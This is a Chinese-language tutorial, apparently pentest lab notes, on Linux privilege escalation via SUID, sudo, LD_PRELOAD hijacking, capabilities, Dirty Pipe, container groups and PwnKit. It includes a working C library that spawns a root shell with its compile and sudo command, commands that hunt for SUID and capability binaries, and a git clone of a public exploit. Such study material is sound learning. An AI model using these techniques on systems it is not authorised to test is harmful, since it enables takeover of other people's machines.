Linux提权的多种方式

Linux提权的多种方式

Scroll Down

一、辅助工具

二、SUID

2.1 简介:

  • SUID是Linux中的一种特殊权限,其功能为用户运行某个程序时,如果该程序有SUID权限,那么程序运行为进程时,进程的属主不是发起者,而是程序文件所属的属主。但是SUID权限的设置只针对二进制可执行文件,对于非可执行文件设置SUID没有任何意义.

2.2 赋权:

  • 为可执行文件授予SUID属性:chmod u+s filepath

  • 取消可执行文件的SUID属性:chmod u-s filepath

2.3 利用:

2.3.1 示例1:

  • 注:在/etc/passwd 中将密码标志为x,置为空后,将导致切换到此用户时不会验证密码,由此可以用来做用户之间的切换、提权。

image-20231023113135049

2.3.2 示例2:

image-20231023121844816

2.4 查找:

  • command:find / -perm -4000 -user root 2>/dev/null
    • -perm:按照权限执行查询
    • -4000:suid标识权限
    • -user root:按照文件所有者为root查找
    • 2>/dev/null:将标准错误输出置为空

image-20231023122029778

三、SUDO

3.1:简介

  • sudo是普通用户用以使用特权的常用方式,其依赖于/etc/sudoers 中的配置,一般用户所获取的sudo权限是可以执行任何命令的,但也会有情况来限制sudo命令的作用范围,限制仅可执行某条特定的命令。

  • 此外,在很多情况下具备权限的sudo账户是会配置NOPASSWD字段的,因此很多时候对于sudo用户可以非常简单的提升到root权限(sudo su——>root)

3.2:漏洞利用

  • :sudo的配置受到多个因素的影响,譬如内核版本,错误的策略配置都将可能导致攻击者借由此工具将自身的权限提升到root,当拿到机器的初步权限后,可以尝试Google搜索主机系统+内核版本,以此来查找其可能的攻击载荷。

3.2.1 补充:

  • 搜索语句:ubuntu kernel 5.4 exploit

image-20231023124256530

image-20231023124352688

3.2.2:相关CVE

四、动态共享库劫持

  • Linux 程序通常使用动态链接的共享对象库。库包含开发人员使用的已编译代码或其他数据,以避免在多个程序中重新编写相同的代码片段。Linux 中存在两种类型的库:(static libraries由 .a 文件扩展名表示)和dynamically linked shared object libraries(由 .so 文件扩展名表示)。

    • 当程序被编译时,静态库成为程序的一部分并且不能更改。但是,可以修改动态库以控制调用它们的程序的执行
    • 此外,LD_PRELOAD 环境变量可以在执行二进制文件之前加载库。该库中的函数优先于默认函数,因此在很多时候可以使用LD_PRELOAD 来提升自身权限。
  • 查看二进制文件所需要的动态共享链接库:ldd

    • 示例:ldd /bin/ls

image-20231023160833451

4.1 劫持代码:

示例文件名:root.c

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}

4.2 编译动态共享链接库文件

  • gcc -fPIC -shared -o root.so root.c -nostartfiles
    • gcc:GNU Compiler Collection(GCC)的命令。
    • -fPIC:生成位置独立的代码(Position Independent Code),以便在共享库中使用。
    • -shared:指示编译器生成共享对象(shared object)库文件。
    • -o root.so:指定输出文件名为 root.so
    • root.c:源文件的名称为 root.c,这是要进行编译的源代码文件。
    • -nostartfiles:禁止链接启动文件,不使用标准的启动文件。

4.3 攻击示例

  • sudo LD_PRELOAD=/home/htb-student/root.so /usr/bin/openssl

image-20231023162351284

五、Capabilities

5.1 描述

  • 在 Linux 中使用setcap命令设置可执行文件的功能时,我们可以指定要设置的功能和要分配的值。我们使用的值将取决于我们设置的特定功能以及我们想要授予可执行文件的权限。
  • 当为二进制文件设置功能时,这意味着该二进制文件将能够执行没有这些功能就无法执行的特定操作。例如cap_sys_admin允许可执行文件以管理权限执行操作的功能,如果使用不当可能会产生危险。例如,我们可以利用它们来升级权限、访问敏感信息或执行未经授权的操作。
  • 格式:文件 能力 能力值
    • 示例:/usr/bin/ping cap_net_raw=ep

5.2 普通能力

能力描述
cap_sys_admin允许使用管理权限执行操作,例如修改系统文件或更改系统设置。
cap_sys_chroot允许更改当前进程的根目录,允许其访问否则无法访问的文件和目录。
cap_sys_ptrace允许附加到并调试其他进程,可能允许其访问敏感信息或修改其他进程的行为。
cap_sys_nice允许提高或降低进程的优先级,从而可能允许其访问原本会受到限制的资源。
cap_sys_time允许修改系统时钟,可能允许它操纵时间戳或导致其他进程以意想不到的方式运行。
cap_sys_resource允许修改系统资源限制,例如打开文件描述符的最大数量或可以分配的最大内存量。
cap_sys_module允许加载和卸载内核模块,可能允许其修改操作系统的行为或访问敏感信息。
cap_net_bind_service允许绑定到网络端口,可能允许其访问敏感信息或执行未经授权的操作。

5.3 可用于权限提升的关键权限:

能力描述
cap_setuid允许进程设置其有效用户 ID,该 ID 可用于获取其他用户(包括本root用户)的权限。
cap_setgid允许设置其有效组ID,可用于获取包括本组在内的其他组的权限root
cap_sys_admin此功能提供了广泛的管理权限,包括执行为用户保留的许多操作的能力root,例如修改系统设置以及安装和卸载文件系统。
cap_dac_override允许绕过文件读取、写入和执行权限检查。

5.4 能力值

能力值描述
=该值设置可执行文件的指定功能,但不授予任何权限。如果我们想清除可执行文件之前设置的功能,这会很有用。
+ep该值向可执行文件授予指定功能的有效和允许的权限。这允许可执行文件执行该功能允许的操作,但不允许它执行该功能不允许的任何操作。
+ei该值向可执行文件授予指定功能的足够且可继承的权限。这允许可执行文件执行该功能允许的操作,并且允许可执行文件生成的子进程继承该功能并执行相同的操作。
+p该值向可执行文件授予指定功能的允许权限。这允许可执行文件执行该功能允许的操作,但不允许它执行该功能不允许的任何操作。如果我们想要向可执行文件授予该功能但阻止它继承该功能或允许子进程继承它,这可能很有用。

5.5 查找此类文件

  • find /home /root /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin -type f -exec getcap {} \; 2> /dev/null

image-20231023164646453

5.6 利用示例

5.6.1 示例1

image-20231023165352558

5.6.1 示例2

  • 为文件授予系统管理权限:setcap cap_sys_admin=+ep payload
  • payload:bash -p
    • 尝试以特权账户进入bash

image-20231023170535996

六、Dirty Pipe

6.1 介绍:

  • Linux 内核中的一个名为Dirty Pipe ( CVE-2022-0847 ) 的漏洞允许对 Linux 上的 root 用户文件进行未经授权的写入。

  • 内核版本在5.8-5.17(Ubuntu系列)的linux会受到影响:

  • 适用Ubuntu22.04

6.2 载荷

  • 恶意负载:git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits.git
  • 编译代码后,我们有两种不同的可用漏洞。第一个漏洞利用版本 ( exploit-1) 修改了/etc/passwd并给我们一个具有 root 权限的提示。为此,我们需要验证内核版本,然后执行漏洞利用。
  • 借助第二个漏洞利用版本 ( exploit-2),我们可以使用 root权限执行 SUID二进制文件。然而,在此之前,我们首先需要找到这些 SUID二进制文件。

6.3 攻击利用

  • 受害主机信息

image-20231022161908091

  • 攻击过程

image-20231022161953397

七、基于服务的权限提升

7.1 介绍

  • 对于某些服务,譬如screenlxddockerCron
    • 对于用户使用id查看属性,若账户属于docker 组、lxd 组,这两个组都可以使用容器化技术,可以采用危险挂载将宿主机目录挂载到容器环境中,而后进入容器中,采用容器内的特权账户可以对这些挂载文件进行参数变更,以此来实现权限提升的目的。

7.2 lxd

7.3 Dcoker

7.4 Cron

八、脆弱的软件

8.1 介绍

  • 对于某些软件,因其设计支持的问题,导致在系统上安装该软件将可能导致攻击者可以进行提权、读取敏感文件等操作。

8.2 Polkit

8.2.1 简介

  • polkit是基于 Linux 的操作系统上的授权服务,如果用户软件获得授权,则允许用户软件和系统组件相互通信。polkit询问是否检查用户软件是否被授权执行此指令。可以设置默认情况下如何为每个用户和应用程序授予权限。

  • PolKit 还附带三个附加程序:

    • pkexec- 使用其他用户的权限或 root 权限运行程序

    • pkaction- 可用于显示动作

    • pkcheck- 这可用于检查进程是否被授权执行特定操作

  • 在这种情况下,对我们来说最有趣的工具是pkexec因为它执行与另一个用户或 root 的权限相同的任务sudo并且可以运行程序。

    • 示例:pkexec -u root id
    • 以root用户的身份执行命令id,查看用户属性

8.2.2 漏洞利用

  • CVE-2021-4034Pwnkit

  • 适用范围:所有低版本的polkit